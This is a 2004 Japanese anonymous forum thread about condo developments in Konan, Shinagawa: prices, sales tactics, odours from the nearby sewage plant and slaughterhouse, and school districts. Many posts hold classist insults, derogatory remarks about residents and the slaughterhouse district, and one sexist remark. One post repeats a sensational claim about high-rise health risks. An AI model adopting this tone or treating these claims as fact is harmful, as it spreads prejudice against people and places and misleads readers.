588 ：名無し不動さん：04/03/08 23:26 ID:???

港南って妬みの対象にならないよ。
だって羨ましくないからね。

好奇の眼差しで見てるだけだよ。（´,_ゝ｀）

589 ：名無し不動さん：04/03/08 23:27 ID:oiN3QyhP

っていうか、金ないやつ、稼ぐ能力ないやつは邪魔。

Ｓ／Ｍ比高すぎ！！　電気通しすぎ！！

590 ：名無し不動さん：04/03/08 23:33 ID:???

おいおい、港南たたく奴は金ない奴なのか？
SMSMうざいんだよ。君がS/M好きなのはわかったから。

不動産は安くない買い物だから忠告しているだけだよ。
場所的には日本堤のほうがましだろ。

591 ：名無し不動さん：04/03/08 23:36 ID:???

まあ煽り入れてるのは、埼玉や千葉の奥地で
６畳２間４人家族なんてのが多そうだけどね。
俺は西青山住民なんだけどね。

592 ：名無し不動さん：04/03/08 23:36 ID:oiN3QyhP

っていうか、たたけてないじゃん・・・
もうちょっと、脳みそつかってたたいてみそ。
そこの476万人予備軍の子。

593 ：名無し不動さん：04/03/08 23:40 ID:???

　とりあえず港南は港区を名乗るなよ。（´,_ゝ｀）

594 ：名無し不動さん：04/03/08 23:42 ID:???

>>592
2010年フリーターお勤めご苦労様です。

595 ：名無し不動さん：04/03/08 23:43 ID:???

>>591
西青山羨ましいな。
まあ漏れは上麻布だが。

596 ：名無し不動さん：04/03/08 23:44 ID:oiN3QyhP

>>594

ヘボヘボすぎ、脳みそ足りなさ杉

再提出

597 ：名無し不動さん：04/03/08 23:47 ID:???

買えないからってそう剥きになるな！
トラウマになるぞ

598 ：名無し不動さん：04/03/08 23:58 ID:???

と嫌悪施設の狭間から、残債４０００万がほざいています。

599 ：名無し不動さん：04/03/09 00:00 ID:???

>>592
2012年港南口段ボール、無職ご苦労様です。

600 ：名無し不動さん：04/03/09 00:01 ID:???

そうマジ反応すると買えない椰子と思われちゃうんじゃない

601 ：名無し不動さん：04/03/09 00:04 ID:???

西青山　上麻布　脳内連中ｷﾀ━━━━(ﾟ∀ﾟ)━━━━ｯ!!

602 ：名無し不動さん：04/03/09 00:07 ID:???

俺　の　ウ　ン　コ　も　い　ず　れ　は　港　南　に　たど　り　着　く　の　か　な　？

603 ：名無し不動さん：04/03/09 00:09 ID:???

俺の胃袋に入っている豚肉も港南で切り刻まれたものだよ。
ありがたくいただいているよ。

604 ：名無し不動さん：04/03/09 00:09 ID:???

>>601
焦るな。おじさんにも一番安い部屋検討するのはタダからＭＲいってきな。

605 ：名無し不動さん：04/03/09 01:17 ID:???

昨日じっくり港南を見てきました。買えない方々が負け惜しみで
「肉と下水の町」と言っているのかと思いましたが　ほんとでした。
三井のは臭くて安いんですね。コスモスは強気な値段が裏目に出ています。
湾の匂いもけっこうするし　車公害、電車なんでもありの感じです。そのくせ
都営は高く建っていて　なんか個人的に気に入りませんでした。
港南が港区というのは確かにおかしいですね。雰囲気は江東区でした。

606 ：名無し不動さん：04/03/09 07:05 ID:xTb9qrIb

ぷっ、なんでいつも一人で書いてるの？　寂しくない？

607 ：名無し不動さん：04/03/09 08:18 ID:???

せっかく倉庫がたくさん残っているのだから、港南5丁目
はアメリカやヨーロッパでは普通に行われているアーティスト
主導の再開発にすればいいのにね。

倉庫を安くアーティストに開放→しばらくするとギャラリー
やカフェなど、こじゃれショップができる→人が集まる→
人気エリアになる→観光地化する→(ﾟДﾟ)ｳﾏｰ

こうやってできた街は行政主導の再開発では作れない味がある。

まあ、最低でも10年くらいかかるし日本では成功例がないので
難しいと思うが。

608 ：名無し不動さん：04/03/09 22:48 ID:kO7bRQlK

＞６０７
マヌケくんはIDだけ隠してれば同一人物が書き込んでるのがバレないと
おもってんじゃないの。
ミジメだな。

609 ：名無し不動さん：04/03/10 00:27 ID:???

>>606 ２ちゃんて二人以上で書くのが普通なんですか？

610 ：名無し不動さん：04/03/10 01:00 ID:???

港南ハァハァ

611 ：名無し不動さん：04/03/10 16:15 ID:???

港、千代田、江東の一部のウンコは港南に全員集合してるＹＯ！
俺のウンコ、臭かったらごめん。

612 ：名無し不動さん：04/03/10 19:19 ID:???

>>611
他の区のウンコはどこへ？？

613 ：名無し不動さん：04/03/10 19:31 ID:???

http://www.gesui.metro.tokyo.jp/kids/minna/motto/
各処理場をクリック！
下水処理地域がわかるよ。

614 ：名無し不動さん：04/03/10 19:34 ID:???

処理場の紹介

　芝浦処理場は、昭和6年（1931年）3月に「芝浦汚水処分場」という名称で開設した東京で3番目に古い処理場です。
　開設から約72年を経過しましたが、その間に処理場の周辺環境も、かつての港湾倉庫街から、今はオフィスビルやマンションが建ち並ぶ都心の市街地に変貌しています。
　また、流入汚水量は飛躍的に増大し、これに伴う施設の増改築が幾度も行われてきました。
　現在の処理区は、千代田・中央・港・新宿・渋谷区の大部分及び品川、文京、目黒、世田谷、豊島区の一部です。
　処理区面積は6,440haあり、JR山手線の内側の広さに相当します。
　処理水量は、年間約2億3千万立方メートル（1日平均約63万立方メートル）です。
　処理水は、東京湾（運河）へ放流し、発生した汚泥は南部スラッジプラントへ圧送しています。
　当処理場では、約100名の職員が各分野ごとに施設、電気・機械設備の維持管理や水質向上を目指して努力し、施設をつねに良好な状態に保ち、安定した処理水質を確保しています。

615 ：名無し不動さん：04/03/10 19:37 ID:???

>>605
>湾の匂いもけっこうするし

ウンコ等下水の処理水は東京湾に放流されるのでその臭い
がやっぱりキツイ。

616 ：名無し不動さん：04/03/10 19:37 ID:???

>>613
サンクス

新宿や中野は街中にあるんだね。

617 ：名無し不動さん：04/03/10 22:39 ID:???

でも現段階でとてもじゃないけど人の住むようなところじゃないのは間違いないだろ
でもあんな場所でも結構な値段のマンションがバンバン売れるんだから大したもんだよ

618 ：名無し不動さん：04/03/10 22:44 ID:???

ウオーターフロントのさわやかな潮風、眼下に広がるもうひとつの銀河、２１世紀のアーバンライフを送ることが出来るのは港南だけですよ。

619 ：名無し不動さん：04/03/10 23:29 ID:???

＞＞６１７
ちょっといい広さや間取りで、眺望も少しは期待できる
とこだと５０００万円はするから、サラリーマンでも
高給じゃないと買えないんで、我が家は手がとどかん。
まあ、いろいろ言われているほど悪くはないのかも知れんし、
都心の開発の目玉だから、金がいくらかあるのは、豊洲より港南を
買ってる感じはするんだよな。
これで高層宅地化と商業化が本格的に進んだら、品川駅港南口の開発状況からも
３年後くらいに売り出すタワーは手が出なくなる恐れはありそうだけどね。

620 ：名無し不動さん：04/03/11 00:05 ID:mRxqPr/d

鹿島とかワールドは相当　上まで行かないと　いい景色には
巡り会えません。まあ港南は好き嫌いがはっきり所ですね。
空気が悪い気がします。湾の匂いもけっこうしますし。

621 ：名無し不動さん：04/03/11 00:31 ID:???

ここ買うくらいなら豊洲のほうがマシだな。
徒歩１５分って笑える。自分の家のドアから品川駅ホームまで３０分くらい
かかりそうだ。

622 ：名無し不動さん：04/03/11 02:43 ID:???

トミンタワー４０階、マンセー

精々タカイお金払って港南に住んでくれたまえ。
高値掴みの諸君！

623 ：名無し不動さん：04/03/11 02:44 ID:???

ト英タワーもよろすく。

624 ：名無し不動さん：04/03/11 14:48 ID:???

ここは大型都営（賃貸&借地権分譲？）があるのがネックだと思うんだけどな
民間の賃貸も分譲もお安い都営になんらか影響受けるものだよ

625 ：名無し不動さん：04/03/11 17:31 ID:mRxqPr/d

>>624 ハゲドウ。なんで高い金出して　あの都営と同じような所に
住まなければならないんだ！！！と感じてしまった。４０階建ての都営って
階数は東京でNO１じゃないの？かつ鹿島、ワールド（住友２０００）よりも
都営の方が駅に近いんでしょ。ドリフじゃないけど「駄目だこりゃ！」の
オチですね。

626 ：名無し不動さん：04/03/11 19:37 ID:???

港南のマンソンに移住してきた奴が数年後、トエイタワーの竣工で
都営に馬鹿にされるオチ。

627 ：名無し不動さん：04/03/11 22:36 ID:C0uY349A

４０階建てタワーは定期借地権の民間物件で、都営住宅は２５階建てですよ。

628 ：名無し不動さん：04/03/11 22:44 ID:ysssfoqU

民間住宅も安くなることは間違いないけど、住宅の質が全然違うでしょうが。
625とかは、安っぽいとこにしか住んだことないから、お金出す意味が分からないんだろうね。
貧乏人ってかわいそう。

629 ：名無し不動さん：04/03/11 22:49 ID:lSdlRPL4

安物買いの銭失いを絵に描いたようになるだろうね。しかもたいして
安くないときてる。

630 ：：04/03/11 23:29 ID:MiuCXD5W

もっと勉強してから煽ろうよ。
書き込むほどにバカ丸出しなんだから。

631 ：名無し不動さん：04/03/11 23:38 ID:YFbPe0K8

買えないのが妬み煽りだから
笑えるんだよね

632 ：名無し不動さん：04/03/11 23:47 ID:???

つーか、屎尿臭いんだよ。>>630 >>631

633 ：名無し不動さん：04/03/11 23:49 ID:???

こんな臭いところは購入しませんよ。正常な人間なら。（藁

634 ：名無し不動さん：04/03/11 23:51 ID:???

ブビーブビーブビーブビーブビーブビーブビーブビーブビーブビーブビー
ブビーブビーブビーブビーブビーブビーブビーブビーブビーブビーブビー
　　　夜　も　寝　付　け　な　い　で　つ　。
ブビーブビーブビーブビーブビーブビーブビーブビーブビーブビーブビー
ブビーブビーブビーブビーブビーブビーブビーブビーブビーブビーブビー
ブビーブビーブビーブビーブビーブビーブビーブビーブビーブビーブビー

635 ：名無し不動さん：04/03/12 00:03 ID:???

>>628 お前よりは１００％　金持ちだが。家賃幾ら？
お前の給料より　俺の家賃の方が高いよ。
内装が幾らよくても豚の匂いは嫌だ。

636 ：名無し不動さん：04/03/12 00:08 ID:I1C8/Sru

628です。
家賃が幾らっていきなり聞かれても。。（笑）
あなたはいったいお家賃いくらのとこに住んでるんですか?
あんまり頭良さそうじゃないのにねえ。

637 ：名無し不動さん：04/03/12 00:12 ID:???

そう剥きになって怒るな、血圧あがるぞ。

買えないからって、２ちゃん専用金持ち妄想しても
自分がムナシクなるだけだぞ。

638 ：名無し不動さん：04/03/12 00:14 ID:???

＞＞６３６
答えは６３７が書いてるから相手に
しないほうがいいよ。

639 ：名無し不動さん：04/03/12 00:15 ID:???

>>628 答えられないんじゃねーか？？？？？
　　　お前よりもまともな大学出ているけど。
　　　都営に詳しかったから　都営の人か？　

640 ：名無し不動さん：04/03/12 00:25 ID:???

>>628
この前　ワールドシティを見に言って月々の家賃を書いたが
住友不動産販売プロパー（男）に「私の給料より家賃高いですねえ」
といわれたが。お前、ワールドとかの案内来なかったろ？

641 ：名無し不動さん：04/03/12 00:36 ID:???

某建築雑誌が都心再開発地の丸の内（東京駅)周辺と品川港南を取上げて
特集している。

都民アンケートでは、品川港南の超高層マンションの再開発建設ラッシュに
ついて、概ね好感（肯定）している結果が発表された。
都心部の再開発地では①六本木ヒルズ②汐留③品川インターシティの
順位となった。

品川港南の超高層マンション郡は高さが航空規制を考慮し、比較的揃っていることも
好感され、将来的には倉庫（一部工場等）などが超高層マンションに生まれ変わって
いくだろうと予測されており、都心部の住宅開発地としては今後も一定の人気を
継続されるだろうと、期待と人気が維持されるとの回答が多かった。

642 ：名無し不動さん：04/03/12 00:53 ID:???

>>628 返事まだ？　俺　ワールドの上の方希望していたんだけど
（金額分かるでしょ）お台場から建設地までタクシーで送迎して
くれたよ。川沿いの白い小屋（２階建て）まで案内された。
都営の階数すぐ知っていて　かみついて来るのだからやっぱ
都営の人なんだね。同じ次元になりたくないので　君とのバトルは
やめるわ。港南は本当に空気が悪かったので買う気もないし。
豚と汚物の匂いが染込んで臭さに気づかないんだね。

643 ：名無し不動産：04/03/12 00:55 ID:7sjQ+n0C

殆どが、関係者の好印象コメント。
意味なし。多くの首都圏住民が何らかの当事者で無い限り
港南に興味も関心も沸くはずも無く。関係者による関係者の自己満足
記事である。

644 ：名無し不動さん：04/03/12 01:03 ID:???

643って会社でも疑心暗鬼の塊で
さびしい人なんだろうね。
文面からにじみでてる罠

645 ：名無し不動さん：04/03/12 01:06 ID:???

そうそう興味ないとか言ってて、このスレが気になるんじゃないのｗ
気にならない割にはモデルルームまで見てくる椰子がいるから
本当笑えるよ。

646 ：名無し不動さん：04/03/12 01:30 ID:???

>お前よりもまともな大学出ているけど

あえて聞くまでもないか。

647 ：名無し不動さん：04/03/12 01:34 ID:???

このエリアは出物が多すぎるんだよな
次から次へと新しいものが出てくると、中古は売れなくなって価値は下がる

648 ：名無し不動さん：04/03/12 01:40 ID:???

土日に港南歩いてみろよ。頭おかしくなりそうになるから。（藁

649 ：名無し不動さん：04/03/12 04:41 ID:HfZ/tNd9

誰かが出してた　バス停　の停留所だけで笑えますね。
とりあえず爆笑しましたよ。すごい展開。
自分はスミ２０００に興味ありなんですが、環境は確かに
悪そうですよねぇ。見に行ってみよ。

650 ：名無し不動さん：04/03/12 17:47 ID:???

マンション大量供給の象徴
東京品川では4000戸以上を販売

日経ビジネス3月15日号をチェック！

651 ：名無し不動さん：04/03/12 17:54 ID:???

マンソン大異変　～出口のないたたき売りが始まった～

「品川戦争」。2006年3月末までの二年間で4000戸を超えるマンションが
供給される東京品川はマンション大量供給の象徴だ。今年８月に完成する
鹿島の「東京シーサウス・ブランファーレ」を皮切りに、藤和不動産や
リクルートコスモス、ゴールドクレスト、住友不動産などの大規模マンシ
ョンが順次完成していく。

652 ：名無し不動さん：04/03/12 18:00 ID:???

品川では、別の物件と契約した客の手付け金を負担してまで、自社物件に
乗り換えさせるというケースも起きている。契約済みとはいえ、後から販
売される物件を見ておきたいと思うのが人間心理。そんな心理を逆手にと
った仁義なき販売戦が繰り広げられる。

　　デ　ベ　必　死　だ　な　。（ｗ

653 ：名無し不動さん：04/03/12 18:05 ID:???

　賢い購入法は決算直前に買う！！！！！！

654 ：名無し不動さん：04/03/12 18:14 ID:???

　東京都区部で販売中の新築マンションモデルルームでのこと。販売担当者は
100㎡あまりの広さがある４ＬＤＫの住戸の図面を広げた。8000万円を少し
超える金額が印刷された価格表を示しながら、こう続けた。
「うちは二割以上引きますから。」
　そう言うと黙って指を６本たて、人差し指を口にたてた。8000万円の物件を
6000万円で売るから、絶対に内緒にしてくれというサインだった。販売セン
ターを10分もたたないうちに一声2000万円の値引き。25パーセントオフとい
うのはスーパーマーケットの特売も真っ青の大安売りだ。

655 ：名無し不動さん：04/03/12 18:50 ID:???

>>628
どんなに高級だとしても、モノレール＆横羽の隣には住みたくありません。
>>641
車って、どんな糞ぐるまでも新車が出たときはほめるよね。
港南マンションも同じかもしれないって思わない？
>>654
はじめにぼったくり値を付けてそのあと値下げする。中東商人もびっくりだな（ｗ

656 ：名無し不動さん：04/03/12 23:18 ID:???

やっぱ、と場だな

657 ：名無し不動さん：04/03/13 00:32 ID:???

港南なら広いマンションが買えるかもと思って検討していたのだが、妻によれば、
子供のお母さん仲間（特に子供の頃から港区に住んでいるお母さん方）の間では
「ｘｘ小学校には絶対行かせちゃダメ。区立なら赤白青ね。」が定説とのこと。
やっぱり港南に引っ越すのはやめて、ウチの子供は赤に行かせるかな。
赤は赤坂ではなく赤羽、白は白金、青は青山ではなく青南らしい。

658 ：名無し不動さん：04/03/13 00:44 ID:???

高速脇は港南に限らず劣悪環境。
下水処理場脇は・・・よく知らんが・・・

659 ：名無し不動さん：04/03/13 09:22 ID:???

>>657 やはりそうなのか。いまの港区の学校選択制では
隣接するエリアの小学校しか選べない。

今港南を買ってる人たちはそこそこ収入のある層だと
思うけど、私立に行かせるのか、それともｘｘ小学校に
行かせるのか興味のあるところだ。

通学区域一覧
ttp://www.city.minato.tokyo.jp/sisetsu/si_11_gakku.html

学校選択制について
ttp://www.city.minato.tokyo.jp/kurasi/guide/kids/school/school4/school4_1.html

>>309 も参照

660 ：名無し不動さん：04/03/13 09:23 ID:DWi19Ggd

今日も沢山のチラシが入っていました。
港南は民間高層団地化して、都営団地に肉薄してます。
目の前に、巨大エントツ、下水処理場、脇に海岸通り、
高速道路、等。5000万円以上は高すぎる物件です。
適正価格は最上階で4000万円です。
値下げしないとうれないよ。

661 ：名無し不動さん：04/03/13 10:57 ID:???

そだね。
4000万だったら買ってもいいな。
でも管理費、固定資産税、駐車場が高いのはいやだな。

662 ：名無し不動さん：04/03/13 11:14 ID:???

横浜市都筑区に住んでいます。
今日住友２０００のでかいチラシが
入ってきました。こんなところまで。

663 ：名無し不動さん：04/03/13 11:55 ID:???

>>662
うまい作戦だと思うな。
現場を知らない人のほうがが売りやすいのでは。。。

664 ：名無し不動さん：04/03/13 12:13 ID:vHuIrBjE

>>662
どんなチラシ？
値段とか、間取りとか出てた？

665 ：名無し不動さん：04/03/13 12:48 ID:???

だからさあ、港南に買うなんて馬鹿ちん。
都心区の一種低層エリアで狙うべし。

666 ：名無し不動さん：04/03/13 17:39 ID:???

港南は住居系にふさわしくない施設が至近にあるので
まともな人間は買ってはいけないという事で結論付けされました

↓　以下　馬鹿ちんが牛のよだれのように何か書き込んでます、という事で。

667 ：uzumasa_goten：04/03/13 21:37 ID:???

（爆）

668 ：uzumaki_guso：04/03/13 23:34 ID:???

ここの住人より、>>309にあるDQNスレの方が言葉が丁寧だな（爆）

669 ：real_estate_tokyo：04/03/14 00:10 ID:???

港南マンセー

670 ：名無し不動さん：04/03/14 00:14 ID:EiaDD2zB

京王品川ビルに電通が入るんだって。
港南においしい店が増えるね。

671 ：名無し不動さん：04/03/14 00:39 ID:z2XrQ1FX

今日美容院行って、港南のオフィス、マンソン開発記事が雑誌に載っていて
それを見た美容師が「昔はﾄ殺場しかなかったのにねー」とさらりと言ってのけた。

672 ：名無し不動さん：04/03/14 01:03 ID:i0kBu4DI

さらに利便向上はかるための予算も付いたよ。
来年にはまた具体化案がでるだろうから、
発展のトレンドはしばらくＩＮＧかな

673 ：名無し不動さん：04/03/14 01:16 ID:???

>672
>さらに利便向上はかるための予算も付いたよ
いいですねえ。詳細ｷﾎﾞﾝ。

674 ：名無し不動さん：04/03/14 02:32 ID:???

いくらがんばってもこれからも肉と下水の町です。

675 ：名無し不動さん：04/03/14 02:39 ID:???

少しは良くなるさ。
でも品川に過剰な期待を寄せるのはどうかと思う。
池袋や上野よりはましなターミナルだが、新宿・渋谷・大手町
には及ばない。

676 ：名無し不動さん：04/03/14 02:46 ID:???

それにしてもあのｵｲﾆｰは何とかならんのk

677 ：名無し不動さん：04/03/14 03:01 ID:???

臭いはあきらめろ。
その辺も含めて港南よりは芝浦だな。

678 ：名無し不動さん：04/03/14 03:43 ID:???

俺のウンコ、臭かったらごめん。港南のみんな。

679 ：名無し不動さん：04/03/14 07:28 ID:ZVAgGbk9

臭うのか？？？

680 ：名無し不動さん：04/03/14 09:10 ID:???

俺の牛、臭かったらごめん。港南のみんな。

681 ：名無し不動さん：04/03/14 09:16 ID:???

俺の牛の悲鳴、うるさかったらごめん。港南のみんな。

682 ：uzumaki_guso：04/03/14 09:21 ID:???

↑　以上　馬鹿が牛のよだれのように書き込みしました（爆）

683 ：名無し不動さん：04/03/14 10:28 ID:EiaDD2zB

新宿・渋谷・大手町みたいになりたくはない。
銀座・六本木のようになりたい。

684 ：名無し不動さん：04/03/14 10:43 ID:4bKyNwKP

↑それは無理！
やっぱ、池袋、上野クラスだろ。

685 ：名無し不動さん：04/03/14 10:44 ID:???

>>659
こんなページも見つけました。
www.city.minato.tokyo.jp/kyoiku/school/jimu/3_01.html
赤白青は確かに隣接学区からの越境希望が多く人気があるようです。
対してｘｘ小学校は唯一隣接学区からの越境希望がゼロですね。
ｘｘからの越境が来るＳ浦、Ｔ台のエリアも要注意かな。
ｘｘ中学校に至っては地元民すら行かないのですね。

686 ：名無し不動さん：04/03/14 12:26 ID:???

土日に港南歩いてみろよ。発狂しそうになるから。

687 ：名無し不動さん：04/03/14 12:33 ID:???

>>686 これはすごい…また燃料投下か。

よく見ると面白い傾向がわかる。

通学区域内希望者数/希望票発送数を"地元志向指数"として
計算してみると港区平均は68%。しかしその内容は３つに
カテゴライズされる

1. 地元志向指数が80%以上、区域外からの希望者も多い
→青白赤などの良いといわれる公立があてはまる

2. 地元志向指数が高く、区域外からの希望者が極端に低い
→xx

3. 地元志向指数が50%程度
→それ以外の港区の学校の一般的な傾向。たぶん私立受験
をさせていると考えられる

あからさまに分かれている所が非常に興味深い。

688 ：名無し不動さん：04/03/14 12:41 ID:???

補足 >>687の話は小学校についての数字で、中学校については
>>685の言うとおりで若干傾向が異なる。

689 ：名無し不動さん：04/03/14 14:58 ID:???

動物解体

690 ：名無し不動さん：04/03/14 17:20 ID:/fQx/7So

空気がマジで悪いよ、鹿島も住友２０００も。日経ビジネスではないが
マジで仁義なき戦いは始まっている。品川勤務の人はいいかもしれないが
どれも無理して買う物件ではない感じ。

691 ：名無し不動産：04/03/14 18:34 ID:8VtAd3c7

港難民は、現在何処で、買い物をしどの様に
暮らしているのか、素朴な疑問。
今まで、隔離された世界で良く生き続けていたな。
恐るべし、港南民！

692 ：名無し不動さん：04/03/14 18:40 ID:???

あの前後にかごの付いた重量級自転車な、あれで運ぶんだろう

693 ：名無し不動さん：04/03/14 18:40 ID:???

>>691
品川のアトレで３００円のワインとか探している奴がいてびっくり。

694 ：名無し不動さん：04/03/14 19:17 ID:???

アトレで品物見てたら後ろからカートでドカッとぶちかまされたよ。何事かと思って
後ろを見たら世の中の不幸を全て背負ったようなどす黒く脂ぎった顔のおばさん
が大井競馬場のおっちゃんみたいなジャンパー着て１０日は洗ってなさそうな
ばさばさの白髪交じりの髪を振り払いながらこっちを睨んでた。　　　　　　怖いよ。

695 ：名無し不動さん：04/03/14 21:30 ID:???

ペットとか恐ろしがって港南なんか
立ち寄れないんじゃないの。

696 ：名無し不動さん：04/03/14 21:51 ID:EiaDD2zB

>>693 >>694
クイーンズ伊勢丹で？

697 ：名無し不動さん：04/03/14 22:01 ID:???

動物の解体ってどうゆう風にやってんのかな
生きたまま爆破とかするのかな

698 ：名無し不動さん：04/03/14 22:04 ID:d7JBBb0q

住友の２０００戸ができたら
マルエツができるそうですし貧乏人は、そこでお買い物じゃないですか？
今は下町風情の残る大井町や大森に行くのでは？

699 ：名無し不動さん：04/03/14 22:07 ID:???

港南って動物の死臭とかきついですか？

700 ：名無し不動さん：04/03/14 22:19 ID:???

ここ検討してる奴は真夏に来てみて是非においを嗅いでください。
凄いですから。

今の時期はたいしたことないんだけどね。（藁

701 ：名無し不動さん：04/03/14 22:21 ID:???

ということは死臭好きな漏れにとっては
ずばり「買い」なのですね

702 ：名無し不動さん：04/03/14 22:26 ID:???

>>697
http://homepage2.nifty.com/meat_museum/tojyo/img/146.jpg

703 ：名無し不動さん：04/03/14 22:30 ID:???

高い金出して買うんだからセンスよく暮らそうぜ。
カラーボックスとかリビングに置くなよ。
「子供が小さいから」を言い訳にして小汚く暮らすような嫁は追い出せ。
まずは追い出せ。
港南はお世辞にも綺麗な街とは言えないが、センスのいい部屋に帰れば
買って良かったなと思える。そんな嫁がいれば、麻布のやつ等より幸せ。

704 ：名無し不動さん：04/03/14 22:47 ID:???

実際に住み始めたら、周辺環境のＤＱＮ度高さに、
今の「センスよく暮らそう」なんて気持ちを失うよ。
高いって言っても、まともな地域よりは全然安いし　

705 ：名無し不動さん：04/03/14 23:01 ID:???

>697
まさか、と思っていたが、どうやらそれに近い方法らしいよ。

TOEIC中レベルなので、良く聴き取れなかったけど、ニュースで「屠殺に一般的に使われている"air-injection stunning"は、脳組織を体外に飛び散らせ、これがBSE感染の原因と考えられる」、と言っていた。
これ、何なのでしょう？多分、鼻の穴とかからエアガンを脳に突き刺し、空気圧で爆裂させるのでしょうか？　港南でも？

706 ：名無し不動産：04/03/15 00:27 ID:6hJIBVIW

カラーＢＯＸ＝貧乏人＝愚民
＞693,694
恐ろしい、港南民！誰か、駆除しろ

707 ：名無し不動さん：04/03/15 00:33 ID:???

ここ買うやつ　買ったやつはいわゆる負け組みですね。
ずっと住んでいると気づかないかもしれないが　友人が来ると
「なんだろうこの匂い？」と思われる。供給過剰で激しい下落も
必死だし。子供には「なんでこんな所のマンソン買ったの？」と
攻められるでしょう。鼻毛もよく伸びると思う。マジレス。
環境は完璧に江東区なんだが。港区名乗られると麻布の人
怒りそう。「いっしょにするなよ！！！ゴルァ！！！」

708 ：名無し不動さん：04/03/15 02:17 ID:???

2161戸の住友はどのくらい売れ残るのか今から楽しみです。（藁

709 ：名無し不動さん：04/03/15 02:21 ID:???

海側に高層ビルばかり建ててヒートアイランド現象に拍車がかかりそうなんですが・・・

710 ：名無し不動さん：04/03/15 03:35 ID:gD4NNOyY

住友のマンソンのチラシが入ってきたんだけど、
メゾネットで居間の上が吹抜けになっている、
和賀英良の部屋みたいなのがあった。
スカイジャグジーというのがついていて、
ｲｲね～と思ったけど、値段がまだ未定。
どのくらいのお値段でしょうね。

711 ：名無し不動さん：04/03/15 18:30 ID:???

海のほとりの香ばしいマンソン。
「ワールドシティタワーズ」

どうぞよろしくお願い申し上げます。

712 ：名無し不動さん：04/03/15 19:30 ID:???

>>710
１５畳くらいで和賀の部屋って、アンタ！！！！
４５畳くらいでしょう。
ドラマオタ、逝ってヨシ。

713 ：名無し不動さん：04/03/15 20:00 ID:???

驚愕データ！　　
　　　　　　　　「マンション住人は寿命が９年短い」　　　流産率も５倍

多くの学者は、マンションに代表される高層住宅が、居住者を精神的にも肉体的
にも蝕んでいると指摘するのだ。「人間は高層階に住むべきではない」と、建設省
にも進言している」という東海大学医学部講師・逢坂文夫氏は、こう説明する。
　「昨年、高層マンションの１～２階に住む人、３～５階に住む人、６階以上に住む
人の３つのグループに分けて、幼稚園児から５０歳ぐらいまでの世代の幅で、述べ
１６００人を調査しました。すると、６階以上と５階以下の住人では、はっきりした
違
いが出たのです」　もっとも顕著な違いが出たのは妊婦の流産率だという。
　逢坂氏が続ける。
「１～２階の妊婦の平均流産率が７．１％、３～５階が６％で大差がなかったのに対
し、６階以上では、なんと２４％にはねあがりました」
さらに逢坂氏は、調査対象になった妊婦を、人前に出ると上がりやすいなど「緊張
特性」のある人とない人に分けてデータを取り直した。
「緊張特性」のある妊婦に限って見ると、５階以下の妊婦の流産率が８％程度なの
に対し、６階以上の妊婦の流産率は５倍以上にハネ上がる。なんと、６階以上は、
半数近くが流産していたというのだ。

714 ：名無し不動さん：04/03/15 20:04 ID:???

>>670はrealestatetokyoだな。（ｗ
電通の子会社なのに。（起爆

715 ：名無し不動さん：04/03/15 20:49 ID:???

あの電通の子会社ってシステム屋みたいなもんだよね

716 ：名無し不動さん：04/03/15 21:25 ID:ihGF/KJG

アトレのクイーンズ伊勢丹、港南住民が買いに来る内容の店じゃないよね。
かといってうち（高輪住民）も遠いから行かない。
あの店のターゲットの客層はなんだ？

717 ：名無し不動さん：04/03/15 21:28 ID:???

>>716
高輪住民。

港南は住友２０００のスーパーがお似合い。

718 ：名無し不動さん：04/03/15 21:30 ID:???

realestatetokyoって品川にガレッタ汐留みたいなものを
期待しているのかな。ウンコ港南が名前負けしないと思うよ。

719 ：名無し不動さん：04/03/15 22:02 ID:GkqmqPU8

最上階メゾネット15000万位だって聞いたよ

720 ：名無し不動さん：04/03/15 22:04 ID:???

住友2000の広告が、品川駅「港南口」「高輪口」を、
わざわざ「東口」「西口」と表記しているのが憐れ・・・ｗ

721 ：名無し不動さん：04/03/15 22:24 ID:???

>718
いやいや、あのオヤジは単に、駅間の小汚いビル群が儲かればいいだけ。
本気で町興しなんて考えていないね。

722 ：名無し不動産：04/03/15 22:24 ID:H8reQIta

港南で１億出す奴は、余程の金余りか、馬鹿な田舎モノ

723 ：名無し不動さん：04/03/15 22:29 ID:???

かなり馬鹿な田舎者が多そうですね。
本当に馬、鹿だったら港南は強制的に連れてこられる所ですが。

724 ：名無し不動さん：04/03/15 22:30 ID:???

>722
そんな物件があるのか！

>721
同意。周りの開発からの恩恵ばかり強調してる。
その小汚いビルがせっかくの開発を台無しにしてる。
その点については黙して語らず。

725 ：名無し不動さん：04/03/15 22:36 ID:???

おまけに同じ港南でも、3丁目以下は屑としか思っていないし、
高輪口再開発計画に逆風なんて話が出ると小躍りしてるし。

726 ：名無し不動さん：04/03/15 22:38 ID:???

高輪の居酒屋の客が減ったと言って喜んでたぞ。
もうアホかと・・

727 ：名無し不動さん：04/03/15 22:43 ID:???

酔っ払いはまとめて小汚いビルの飲食店にくれてやります（爆）

728 ：名無し不動さん：04/03/15 22:51 ID:???

uzumasa goten君こんばんわ

729 ：名無し不動さん：04/03/15 23:06 ID:???

real_estate_tokyoｷﾀ━━━━(ﾟ∀ﾟ)━━━━ｯ!!

730 ：728：04/03/15 23:16 ID:???

>729
あっごめん、違うんだけどｗ

731 ：727：04/03/15 23:20 ID:???

>728
あっごめん、違うんだけどｗ

732 ：名無し不動さん：04/03/16 16:52 ID:???

某マンション販売員に固定資産のこと聞いたら、初年度は80m2で32万くらいって
言われたけど5年後って港南あたりって年いくらぐらいなの？
高層って減価償却時間かかるってきいたけど港区だから高いですかね
ｂｙ貧乏人

733 ：棒掲示板より：04/03/16 22:07 ID:???

　　　　　　　　 /＼／＼　／(爆)＼/../　　　　　　　　　　　　　　　　　　　＿＿＿＿＿＿＿＿＿＿
　　　　　　　 /　／＼　＼（・∀・#）./　　　　　　　　　　　　　　　　　　／
　　　　　　　（）)ノ__　○二○二⌒/../　　　　　ﾌﾞｵﾝﾌﾞｵﾝ　　　・・・・　　＜　港南連合様のお通りだよ～
　　　　　　／／||(二ニ) （＿＿_/../　几l　　　　　　　　　　　　　　　　　＼＿＿＿＿＿＿＿＿＿＿
　　　γ ⌒ ／|Ⅲ||彡Ｖミ/⌒＿ノ二二ノl0
　　　l|　(◎).|l　|((||（(ﾟ )/⌒/||三三三・） ||　　(´⌒(´
＿＿ゝ_＿ノ　　　￣（_＿_）￣　　ゝ＿_ノ≡≡≡(´⌒;;;≡≡≡

734 ：名無し不動さん：04/03/18 05:24 ID:/4+1zQm9

>>710
俺もそれかなりいいと思った。
でもかなり高いらしい。
上階にできるらしいし、スカイジャグジーなんてついてるし。
それなりの値段になるってうわさを聞いたよ

735 ：名無し不動さん：04/03/18 12:28 ID:???

